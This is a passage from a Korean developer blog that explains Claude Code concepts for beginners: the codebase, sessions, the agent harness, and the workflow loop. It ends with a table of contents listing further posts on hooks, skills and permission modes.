명령어 실행 결과 에러가 발생하면, 워크플로우는 중단되지 않고 그 에러를 새로운 정보(컨텍스트)로 받아들여 즉시 수정 계획을 수립합니다.

5. 마무리하며

Claude Code의 워크플로우는 개발자의 '생각하는 방식'을 그대로 복제해 놓은 것과 같습니다. 우리가 코드를 짜고, 저장하고, 빌드하고, 에러를 확인하는 그 일련의 흐름을 AI가 대신 수행해 주는 것이죠.

이 워크플로우를 잘 이해하고 Claude에게 명확한 목표를 던져준다면, 여러분의 개발 생산성은 상상 이상으로 높아질 것입니다! ✨

Codebase

헬로우월드 — Thu, 9 Apr 2026 10:19:13 +0900

https://code.claude.com/docs/ko/how-claude-code-works

Claude Code의 작동 방식 - Claude Code Docs

에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.

code.claude.com

️ 코드베이스(Codebase): 소프트웨어의 '전체 설계도'이자 '기초 자산'

개발을 하다 보면 "우리 코드베이스가 너무 복잡해졌어"라거나 "코드베이스 전체에 반영해줘"라는 말을 자주 듣게 됩니다. 도대체 코드베이스가 정확히 무엇을 의미하는지, 왜 중요한지 정리해 보겠습니다!

1. 코드베이스란 무엇인가요?

코드베이스는 '특정 소프트웨어 시스템이나 프로젝트를 빌드하는 데 사용되는 소스 코드의 전체 집합'을 의미합니다.

단순히 파일 몇 개를 말하는 것이 아니라, 해당 서비스를 구동하기 위해 필요한 모든 소스 코드, 설정 파일, 스크립트, 그리고 그 변화의 역사(Git History)까지를 통칭하는 개념입니다.

2. 코드베이스의 3가지 핵심 구성 요소

구성 요소	설명
소스 코드	Java, JavaScript, Python 등 실제 로직을 담은 파일들
⚙️ 설정 및 빌드 파일	`build.gradle`, `package.json`, `application.yml` 등 환경 설정 정보
버전 관리 데이터	`.git` 디렉토리에 담긴 모든 커밋 이력과 브랜치 정보

3. 코드베이스의 특징과 관리 원칙

✅ 1개 프로젝트 = 1개 코드베이스 (일반적)

보통 하나의 저장소(Repository)가 하나의 코드베이스가 됩니다. 하지만 '모노레포(Monorepo)' 방식처럼 하나의 코드베이스 안에 여러 서비스가 들어있는 경우도 있고, 반대로 서비스 하나를 여러 저장소로 나누어 관리하기도 합니다.

✅ 공유되는 진실의 원천 (Single Source of Truth)

모든 팀원은 동일한 코드베이스를 기반으로 작업합니다. 내가 수정한 코드가 코드베이스에 합쳐지면(Merge), 그것이 곧 서비스의 새로운 표준이 됩니다.

✅ 지속적인 성장

코드베이스는 고정된 것이 아니라, 기능이 추가되고 버그가 수정되면서 끊임없이 변하고 확장되는 생명체와 같습니다.

4. 왜 코드베이스 관리가 중요한가요?

협업의 효율성: 코드베이스가 잘 정리되어 있으면 새로운 팀원이 합류했을 때 빠르게 적응할 수 있습니다.
유지보수의 용이성: 중복 코드가 적고 구조가 깔끔한 코드베이스는 버그 수정 속도를 비약적으로 높여줍니다.
AI 도구의 성능: Claude Code 같은 AI 에이전트는 여러분의 코드베이스를 '컨텍스트'로 읽어들입니다. 코드베이스가 깨끗할수록 AI가 내놓는 답변의 질도 올라갑니다! ✨

5. 마무리하며

코드베이스는 단순한 텍스트 파일들의 모음이 아니라, 개발자의 고민과 기술적 자산이 집약된 '디지털 건축물'입니다. 좋은 코드베이스를 유지하는 것이 곧 실력 있는 개발자의 척도이기도 하죠.

여러분의 프로젝트 코드베이스는 지금 건강한 상태인가요? 오늘 한 번 점검해 보는 건 어떨까요?

Session

헬로우월드 — Thu, 9 Apr 2026 10:15:50 +0900

https://code.claude.com/docs/ko/how-claude-code-works

Claude Code의 작동 방식 - Claude Code Docs

에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.

code.claude.com

️ Claude Code의 세션: AI와 함께하는 '작업 단위' 이해하기

Claude Code를 실행했을 때 우리가 머무는 그 공간, 바로 세션(Session)입니다. 단순히 터미널을 여는 것을 넘어, 개발 환경에서는 어떤 의미를 갖는지 알아볼까요?

1. 세션이란 무엇인가요?

Claude Code에서 세션은 "터미널에서 claude 명령어를 입력해 대화를 시작한 시점부터 종료할 때까지의 한 주기"를 의미합니다.

이 세션 동안 Claude는 여러분의 프로젝트 상태를 기억하고, 연속적인 피드백을 주고받으며 작업을 수행합니다. 마치 전문 개발자와 함께 페어 프로그래밍을 하기 위해 회의실에 입장해서 퇴장할 때까지의 과정과 같습니다.

2. 세션의 핵심 특징

✅ 단기 기억의 저장소 (Ephemeral Memory)

세션이 유지되는 동안 Claude는 이전에 나눈 대화, 실행했던 명령어의 결과, 수정했던 파일의 이력을 모두 기억합니다. 덕분에 "아까 그 에러 다시 보여줘"나 "그 부분 다시 수정해줘" 같은 연속적인 명령이 가능하죠.

✅ 컨텍스트의 경계 (Context Boundary)

세션은 Claude가 한 번에 집중할 정보의 범위를 결정합니다. 세션을 종료하고 새로 시작하면 이전 세션의 미세한 대화 흐름은 초기화되어, 새로운 마음으로(깨끗한 컨텍스트로) 작업을 시작할 수 있습니다.

✅ 도구 사용의 권한 (Tool Authorization)

세션 내에서 Claude는 파일을 읽고 쓰고 명령어를 실행할 권한을 부여받습니다. 사용자는 이 세션 안에서 Claude가 제안하는 동작을 승인(y)하거나 거절(n)하며 작업을 리드하게 됩니다.

3. 세션의 흐름: 생성부터 종료까지

세션 시작 (claude): 하네스(Harness)가 가동되며 로컬 환경과 Claude 모델(클라우드에 위치)이 연결됩니다.
컨텍스트 로드: 프로젝트 구조와 주요 파일들을 읽어 들여 '작업 뇌'를 세팅합니다.
루프(Loop) 수행: * 사용자: "로그인 기능 만들어줘"
- Claude: 코드 작성 및 터미널 테스트 실행
- 사용자: "에러 나는데? 다시 봐봐" (연속성 유지)
세션 종료 (/exit): 작업 결과가 로컬에 최종 반영되고 메모리가 정리됩니다.

4. 세션을 잘 활용하는 꿀팁

주제별 세션 분리: 너무 오랫동안 한 세션에서 여러 작업을 하면 컨텍스트가 꼬일 수 있습니다. '버그 수정' 세션과 '기능 구현' 세션을 적절히 끊어서 새로 시작하는 것이 답변의 정확도를 높이는 방법입니다! ✂️
CLAUDE.md 활용: 세션이 바뀌어도 유지되어야 할 프로젝트 규칙(Style Guide 등)은 CLAUDE.md 파일에 적어두세요. 그러면 새로운 세션이 시작될 때마다 Claude가 이를 가장 먼저 읽고 기억합니다.
이력 확인: 세션이 끝나더라도 작업한 코드는 내 로컬 파일에 그대로 남아있으므로 안심하세요!

5. 마무리하며

Claude Code의 세션은 AI 에이전트가 여러분의 프로젝트를 이해하고 실제 '일'을 하는 몰입의 시간입니다. 이 세션을 어떻게 관리하고 어떤 정보를 주느냐에 따라 여러분의 개발 생산성이 천차만별로 달라질 수 있습니다.

자, 이제 새로운 세션을 열고 코딩을 시작해 볼까요? ✨

에이전트 하네스

헬로우월드 — Thu, 9 Apr 2026 09:55:32 +0900

https://code.claude.com/docs/ko/how-claude-code-works

Claude Code의 작동 방식 - Claude Code Docs

에이전트 루프, 내장 도구, Claude Code가 프로젝트와 상호작용하는 방식을 이해합니다.

code.claude.com

클로드 코드(Claude Code)를 설명할 때 등장하는 '에이전트 하네스(Agent Harness)'라는 표현은 공학적 비유가 담긴 아주 핵심적인 용어입니다. 쉽게 풀이해 드릴게요! ️

1. '하네스(Harness)'의 본래 의미 ️

보통 하네스라고 하면 여러 개의 전선(케이블)을 하나로 묶어 정리 하는 작업을 의미합니다.

공학적으로는 '어떤 핵심 부품이 외부 환경과 잘 연결되어 제 기능을 발휘하도록 감싸는 연결 장치나 골격'을 의미합니다.

2. 에이전트 하네스란? (Claude Code의 관점)

Claude라는 강력한 '두뇌(모델)'가 실제 개발 환경(터미널, 파일 시스템)이라는 '현장'에서 직접 팔다리를 휘두를 수 있도록 입혀준 '슈트'라고 이해하시면 됩니다.

구체적으로 다음과 같은 역할을 수행하기 때문에 하네스라고 부릅니다.

✅ 연결 통로 (Interface)

AI 모델은 원래 텍스트만 주고받을 수 있는 존재입니다. 하네스(Claude Code)는 이 모델이 실제 PC의 파일을 읽고, 명령어를 실행하고, 네트워크에 접속할 수 있도록 길을 열어주는 인터페이스 역할을 합니다.

✅ 제어 및 안전 (Control & Safety)

모델이 멋대로 시스템을 파괴하지 않도록 통제합니다. 사용자의 승인을 확인하거나, 위험한 명령을 필터링하는 등의 '안전 고리' 역할을 수행합니다.

✅ 도구 장착 (Tooling)

Claude에게 ls, grep, vi 같은 도구를 쥐여주고 사용하는 법을 가르칩니다. 모델이 "파일 목록 좀 보여줘"라고 하면, 하네스가 실제로 터미널 명령을 수행해 그 결과를 다시 모델의 눈(입력창) 앞에 가져다줍니다.

3. 왜 ClaudeCode를 Claude '주변'의 하네스라고 하나요?

Claude라는 엔진은 클라우드(Anthropic 서버)에서 실행되고 있습니다. 하지만 Claude Code는 여러분의 로컬 터미널에 설치되죠.

즉, 중앙의 두뇌(Claude)가 내 로컬 PC라는 실제 세상에 손을 뻗어 작업을 수행할 수 있도록, 그 주변을 감싸서 연결해 주는 '현장 요원용 장비'가 바로 Claude Code인 것입니다.

요약하자면!

"Claude(두뇌)가 개발 현장(로컬 환경)에서 직접 도구를 휘두르며 일할 수 있도록 연결하고 보조하는 강화 슈트"

라고 이해하시면 가장 정확합니다. Claude Code가 이 하네스 역할을 하기 때문에, 우리는 단순히 채팅만 하는 게 아니라 실무적인 '대리인(Agent)'으로서 Claude를 부릴 수 있게 되는 것이죠! ✨

순다랜드

Hooks

️ Claude Code의 자동화 핵심 'Hooks'

1. 훅(Hook)이란 무엇인가요?

2. 가장 많이 쓰이는 훅: SessionStart

3. 왜 훅을 사용해야 할까요?

4. 훅의 관제센터, /hooks 커맨드 ️

5. 한눈에 보는 주요 훅 리스트

요약하자면!

실무에서 사용하는 Claude Code Skills 설계 패턴

실무에서 사용하는 Claude Code Skills 설계 패턴

전체 구조: 4계층 Skills 아키텍처

⚙️ 실제 기업에서의 설계 전략

실전 운영 방식 (중요)

고급 개념: “Skill = Prompt Engineering의 진화형”

React 쇼핑몰 프론트엔드 Skills 풀세트

전체 아키텍처

실제 React 프로젝트 구조

실제 코드 샘플 (핵심 흐름)

실무에서 이 구조의 핵심 가치

⚠️ 실무 팁 (진짜 중요)

Onboarding

온보딩(Onboarding)이란?

Skills

Claude Code Skills

Skills란 무엇인가?

️ Claude Code에서 Skills가 동작하는 방식

기본 디렉토리 구조

️ Skills 작성 흐름 (실전 프로세스)

⚠️ 현실적인 주의사항 (중요)

초보자를 위한 가장 현실적인 접근법

핵심 인사이트

마무리

Permission Modes

Claude Code Permission Modes

1. Permission Mode란 무엇인가?

핵심 개념

⚠️ 왜 필요한가?

그래서 등장한 개념이 바로:

⚙️ 2. Permission Modes

Default Mode

Auto-accept edits Mode

Plan Mode

Auto Mode (Research Preview)

3. 커스텀 권한 설정 (.claude/settings.json)

4. 구조적으로 보면 (핵심 인사이트)

내부 흐름

핵심 역할

⚖️ 5. 권한 모드 비교 요약

6. 실무에서의 사용 전략

추천 흐름

7. 핵심 인사이트

Insight 1

Insight 2

Insight 3

마무리

Resume or fork sessions

Claude Code 세션 마스터하기: 재개(Resume)와 포크(Fork)

1. 중단된 지점에서 다시 시작하기: --continue & --resume ⏯️

2. 평행 우주 만들기: --fork-session

3. 여러 터미널에서 동일 세션 사용 시 주의점 ⚠️

요약 및 팁 (Cheatsheet)

마무리하며

Workflow

️ Claude Code 워크플로우: AI와 개발자가 협업하는 '일의 흐름'

1. 워크플로우란 무엇인가요?

2. Claude Code 워크플로우의 4단계 루프

3. 워크플로우의 실전 예시

4. 개발자가 알아야 할 워크플로우의 특징 ✨

5. 마무리하며

Codebase

️ 코드베이스(Codebase): 소프트웨어의 '전체 설계도'이자 '기초 자산'

1. 코드베이스란 무엇인가요?

2. 코드베이스의 3가지 핵심 구성 요소

3. 코드베이스의 특징과 관리 원칙

4. 왜 코드베이스 관리가 중요한가요?

5. 마무리하며

Session

️ Claude Code의 세션: AI와 함께하는 '작업 단위' 이해하기

1. 세션이란 무엇인가요?

2. 가장 많이 쓰이는 훅: `SessionStart`

4. 훅의 관제센터, `/hooks` 커맨드 ️

1. 중단된 지점에서 다시 시작하기: `--continue` & `--resume` ⏯️

2. 평행 우주 만들기: `--fork-session`